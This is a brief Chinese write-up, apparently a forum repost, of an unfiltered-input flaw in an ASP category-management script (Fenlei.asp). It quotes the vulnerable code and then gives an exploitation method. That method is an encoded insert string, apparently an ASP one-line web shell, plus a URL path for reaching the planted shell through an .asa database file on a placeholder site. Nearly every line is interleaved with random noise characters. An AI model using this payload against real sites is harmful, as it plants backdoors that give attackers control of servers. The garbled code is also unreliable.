'Fenlei.asp ; `; F) J& H' V7 n. P5 b
7 `+ ~- g% _1 d- n6 `& I8 V2 k9 B
IF Request.QueryString("Action")="del" Then . c5 ~# H5 e, \! @
ID=Request.QueryString("ID") / H4 }" l6 g7 C
IF Countss ("tui","Fenlei",ID )<>0 then / z4 P; v m0 {9 I9 @" L( n0 Y
'略
2 n% F" r9 i$ v. oIF Request.QueryString("Action")="Add" Then
/ C5 E4 U: ^1 x; N* g& bTname=Request.Form("Typename") , z$ p) w! i" m' V, H
Set Rs=Server.CreateObject("adodb.Recordset") + L9 c* y1 l0 |6 r6 U
Sql="Select * From Fenlei Order by id Desc "
7 M5 Z" c% m& Z W7 E% HRs.Open Sql,Conn,1,3 ! d2 e; O! q, X4 D
Rs.Addnew
4 U+ W# [5 p0 x5 c( R6 PRs("Typename")=Tname ( W2 `% w! T% E7 @. i$ o
'略 ; ?8 F \ B9 i& R4 o8 T v% N: A. Q
Set Rs=Server.CreateObject("adodb.Recordset") - g( X8 ^8 ~9 t$ @
Sql="Select * From Fenlei Order by id Desc "
5 [! Y0 L" S$ v" O4 mRs.Open Sql,Conn,1,1 ) z3 G" i3 t( b7 E
'略
6 K+ Y6 _+ F, R- w' w7 B& q%>1 D$ d2 d7 h ?& W! C
! b% p: `5 F- m. w; n8 z 1 V+ D6 s1 }# g! t$ R+ ]' [- W) E7 I
3 I. E: j G1 g4 e6 w }没有过滤,直接写入数据库。" K4 z0 r( Y5 Q, `7 m5 h( S
$ D5 D9 P' v3 V利用方法:6 Q) h* K1 }- M' q' E w8 A# O3 s- T
9 O$ Y+ e8 _# P& O# @
插入:┼攠數畣整爠煥敵瑳∨≡┩>
: ~: z) \2 Z# v! s8 i/ { 8 h0 E9 ?7 u$ g v
2 J b. U8 b' S连接: http://www.xxx.com/###tongbaner.asa
. O$ n( M& ?7 \/ J7 G7 \: N: p'默认安装文件:
4 R' w5 [- k& P: Y M9 I'install.asp
+ k- J; z: f' _- ^; F) T/ w |